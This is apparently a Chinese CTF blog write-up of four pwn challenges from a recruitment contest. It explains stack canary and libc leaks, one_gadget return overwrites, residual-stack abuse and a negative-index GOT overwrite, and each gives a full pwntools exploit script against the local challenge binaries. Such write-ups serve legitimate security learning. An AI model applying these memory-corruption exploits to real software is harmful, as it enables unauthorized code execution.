一共有4道pwn题,题目不算难,但是挺考验调试能力的。

pie

  一个main函数就四次溢出...

  第一次leak canary,第二次leak libc,第三次直接覆盖返回地址为one_gadgets,第四次摸鱼。感觉应该不是预期解,毕竟题目叫pie,程序本身有system("/bin/sh")也没有用到。

 1 from pwn import *
2
3 p = process(['./pie'],env={"LD_PRELOAD":"./libc.so.6"})
4 #p = process('./pie')
5 elf = ELF('./pie')
6 libc = ELF('./libc.so.6')
7 context.log_level = 'debug'
8
9 og = [0x4f3d5,0x4f432,0x10a41c]
10
11 p.sendafter('name?\n','a'*0x18+'b')
12 p.recvuntil('b')
13 canary = u64(p.recv(7).rjust(8,'\x00'))
14 print 'canary-->'+hex(canary)
15
16 p.sendafter('from?\n','a'*0x20+'bbbbbbbb')
17 p.recvuntil('bbbbbbbb')
18 libc_base = u64(p.recv(6).ljust(8,'\x00'))-231-libc.symbols['__libc_start_main']
19 print 'libc_base'+hex(libc_base)
20 shell = libc_base+og[0]
21
22 p.sendafter('know?\n',p64(libc_base)+'a'*0x10+p64(canary)+'bbbbbbbb'+p64(shell))
23 p.sendafter('no)\n','no\x00')
24 p.recv()
25 p.interactive()

QAQ

  此题不适合看伪代码,得直接看汇编。

  只有一个输入。还是需要读一下汇编。

  执行完call,返回值一般是保存在eax中,这里执行了test eax,eax,其实就是在改变标志寄存器,我们这里需要让strcmp的返回值是0,这样就能跳转到loc_8048547这里。

  看栈空间就可以知道,buf和s2,就是相比较的这两个字符串相差10个字节。

  我们写payload='a'*9+'\x00'+'a'*9+'\x00',并且在跳转那里下断点。

  第一次跳转之后,还有一层需要绕过。

  判断ebp+var_44的值和1Bh是否相等,如果相等才能执行system("/bin/sh")。看栈空间分布,发现这个我们没办法赋值。

  在buf上面,没办法写入。这个时候我又看上面的汇编。

  发现有一处就是给这个位置赋值的,是将ebp+0xarg_0赋值给这个位置。而ebp+0xarg_0是在返回地址下面。距离也很好算,用静态分析,动态分析都能看出怎么多远。这题就算是做完了。

 1 from pwn import *
2
3 p = process('./pwn')
4 context.log_level = 'debug'
5
6 #gdb.attach(p,'b *0x08048534')
7
8 sleep(0.1)
9 p.send('aaaaaaaaa\x00'+'aaaaaaaaa\x00aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaa\x1b')
10 p.interactive()

easyStack

  64位程序,没开pie。

  主要就是要让shell大于3920,进入backdoor,里面有shell。

  在question中,有一个scanf函数是往v1里面写值。而v1是栈上的,而且不受我们控制。我当时想了半天也不知道怎么做。在name函数中也没有发现漏洞点。

  后来想到以前做过一道栈数据残留的题,然后就cyclic 100,写入数据,在question中scanf那里下断点。看看这个时候的v1是多少。

  果然name函数的值没有被清空,残留到了这个栈里面。此时v1是让paaa填充的。所以我们将cyclic生成的paaa处写入p32(shell),然后写入一个大于3920的数字,顺利执行就能拿到shell了。

 1 from pwn import *
2
3 p = process('./pwn')
4 elf = ELF('./pwn')
5 context.log_level = 'debug'
6
7 def duan():
8 gdb.attach(p)
9 pause()
10 shell = 0x060108C
11 payload = 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaa'+p32(shell)
12
13 p.sendafter('name?\n',payload)
14 p.sendafter('else?\n','pwner')
15 p.sendlineafter('1/0]\n','4000')
16 p.recv()
17 p.interactive()

PTT0的记账本

  题目其实已经给提示了。。。

  看着像一道heap,其实并不是。。。感觉我应该是写的比较麻烦了。漏洞点就是在写index的时候,写成负数,虽然是在bss段,但是上面就是got段,将指针申请上去,可以泄露libc基地址,然后改写got表。直接放exp了。

 1 from pwn import *
2
3 p = process(['./book'],env={"LD_PRELOAD":"./libc.so.6"})
4 #p = process('./book')
5 elf = ELF('./book')
6 libc = ELF('./libc.so.6')
7 context.log_level = 'debug'
8
9 og = [0x4f3d5,0x4f432,0x10a41c]
10
11 def duan():
12 gdb.attach(p)
13 pause()
14
15 def add(index,time,deaeline,money,interest,name):
16 p.sendlineafter('>> ','1')
17 p.sendlineafter('index:',str(index))
18 p.sendlineafter('time: ',str(time))
19 p.sendlineafter('deadline: ',str(deaeline))
20 p.sendlineafter('money: ',str(money))
21 p.sendlineafter('interest: ',str(interest))
22 p.sendafter('name: ',name)
23
24 def delete(index):
25 p.sendlineafter('>> ','2')
26 p.sendlineafter('index:',str(index))
27
28 def show(index):
29 p.sendlineafter('>> ','3')
30 p.sendlineafter('index:',str(index))
31
32
33 show(-6)
34 p.recvuntil('time: ')
35 time = int(p.recvuntil('\n')[:-1])
36 print 'time-->'+hex(time)
37
38 p.recvuntil('deadline: ')
39 deadline = int(p.recvuntil('\n')[:-1])
40 print 'deadline-->'+hex(deadline)
41
42 #leak libc
43 p.recvuntil('money: ')
44 money = p.recvuntil('\n')[:-1]
45 p.recvuntil('interest: ')
46 interest = p.recvuntil('\n')[:-1]
47 printf_got = str(hex(int(interest)))+str(hex(int(money)))
48 printf_got = int(printf_got[:6]+printf_got[8:],16)
49 print 'print_got-->'+hex(printf_got)
50 libc_base = printf_got-libc.symbols['printf']
51 print 'libc_base-->'+hex(libc_base)
52
53 for i in range(len(og)):
54 print str(i)+'-->'+hex(libc_base+og[i])
55 shell = str(hex(libc_base+og[2]))
56 payload = int('0x'+shell[-8:],16)
57 print payload
58
59 p.sendlineafter('>> ','1')
60 p.sendlineafter('index:',str(-6))
61 p.sendlineafter('time: ',str(0xaa))
62 p.sendlineafter('deadline: ',str(0xbb))
63 p.sendlineafter('money: ',str(payload))
64 p.interactive()

  因为做的人不多,题目难度不大,赶着做还是拿了两道题的一血,两道题的二血,也有一些收获,总之还是很开兴的。

0RAYS元旦招新赛的更多相关文章

  1. 2019级第一次月赛暨ACM工作室第一次招新赛、补题赛

    A:最简单签到,没有之一 Description 此题简单如题意,就是求最大值 Input 多组输入 每组输入输入一串字符串(包括字母和数字),长度小于500 Output 每行输出字符ASCII值与 ...

  2. ACM团队招新赛题解

    标程代码全部为C语言编写.代码中的#if LOCAL_ 至#endif为本地一些调试内容,可以忽略. Xenny的A+B(1)[容易][签到] 签到题,做不出的话可能你有点不太适合ACM了. Xenn ...

  3. 招新系统(jsp+servlet,实现简略前端网页注册登录+后台增删改查,分学生和管理员,Java语言,mysql数据库连接,tomcat服务器)

    生活不只是眼前的苟且,还有诗和远方. 架构说明: 要求是采用MVC模式,所以分了下面的几个包,但是由于是第一次写,可能分的也不是很清楚: 这个是后台部分的架构: 这个是前端的的展示: (那个StuLo ...

  4. ACM_招新笔试题系列——买包子

    招新笔试题系列——买包子 Time Limit: 2000/1000ms (Java/Others) Problem Description: 小华刚到大学,一天早上她替她室友买早餐,一共要N个包子. ...

  5. XDTIC2019招新笔试题 + 官方解答

    腾讯创新俱乐部2019年招新笔试试题   [1] 小宗学长正在努力学习数论,他写下了一个奇怪的算式: \[ 2019^{2018^{2017^{\dots^{2^1}}}} \] 算式的结果一定很大, ...

  6. 招新裁老,两面派互联网大厂,培训三个月,就拿15K,凭什么?

    看到一位朋友在发帖子求问:亲身经历,(如有谎言我名字倒过来写)一个大学同学18年毕业的.在兰州一个二本学的兽医农牧,毕业难找工作,去深圳一个机构培训了三个月吧,然后就去做大数据 算法了,然后又去做ja ...

  7. CTFshow-萌新赛逆向_签退

    查看题目信息 下载re3.pyc文件 使用uncompyle把re3.pyc反编译为re3.py uncompyle6 re3.pyc > re3.py 查看re3.py文件 # uncompy ...

  8. CTFshow-萌新赛逆向_flag白给

    查看题目信息 下载后得到一个flag.exe文件,进行测试 使用PEiD查壳 发现一个upx的壳 使用命令进行解壳 upx -d 拿到一个无壳的程序 放进OD打开,查找关键词 发现信息 成功拿到序列号 ...

  9. CTFshow萌新赛-萌新福利

    下载链接文件 拿到show.bin文件 使用010Editor工具打开文件 做取反操作 取反后可以看到 把show.bin改为show.m4a 使用音频播放软件播放,即可得到flag

随机推荐

  1. PAT A1039、A1047——vector常见用法

    vector 常用函数实例 (1)push_back() (2)pop_back() (3)size() (4)clear():清空vector中所有元素 (5)insert():insert(it, ...

  2. [luogu5180]支配树

    对于有向图$G$和起点$s$,有以下定义和性质-- 为了方便,不妨假设$s$能到达$G$中所有点,并任意建立一棵以$s$为根的dfs树,以下节点比较默认均按照两点在这棵dfs树上的dfs序 支配点:$ ...

  3. [cf1434E]A Convex Game

    暴力求SG,结论:每一个序列的SG上限为$\sqrt{2\max a_{i}}+1$ 证明:将SG的转移看作一张DAG,归纳每一个点的SG值不超过其开始的最长路,显然成立 那么本题中最长路即在$a_{ ...

  4. 21天从Java转向Go之第三天——初出茅庐

    名称 Go中25个关键字 只能在语法允许的地方使用,不能做为名称 break default func interface select case defer go map struct chan e ...

  5. es使用java的api操作

    基本环境的创建 pom依赖  <?xml version="1.0" encoding="UTF-8"?> <project xmlns=&q ...

  6. 你有没有觉得邮件发送人固定配置在yml文件中是不妥当的呢?SpringBoot 动态设置邮件发送人

    明月当天,不知道你有没有思念的人 前言 之前其实已经写过SpringBoot异步发送邮件,但是今天在一个小项目中要用到发送邮件时,我突然觉得邮件发送人只有一个,并且固定写在yml文件中,就是非常的不妥 ...

  7. 论文翻译:2021_Decoupling magnitude and phase optimization with a two-stage deep network

    论文地址:两阶段深度网络的解耦幅度和相位优化 论文代码: 引用格式:Li A, Liu W, Luo X, et al. ICASSP 2021 deep noise suppression chal ...

  8. 【低门槛 手把手】python 装饰器(Decorators)原理说明

    本文目的是由浅入深地介绍python装饰器原理 装饰器(Decorators)是 Python 的一个重要部分 其功能是,在不修改原函数(类)定义代码的情况下,增加新的功能 为了理解和实现装饰器,我们 ...

  9. 【豆科基因组】绿豆Mungbean, Vigna radiata苏绿基因组预印

    目录 一.来源 二.结果 测序组装 组装评价 编码基因预测 基因功能注释 非编码RNA注释 假基因预测 重复序列注释 进化分析和分歧时间估计 全基因组复制 LTR插入时间估计 正选择基因 一.来源 H ...

  10. os.path.join()函数

    连接两个或更多的路径名组件 import os p1 = '/date' p2 = 'mage' p3 = 'img' all = os.path.join(p1,p2,p3) print(all) ...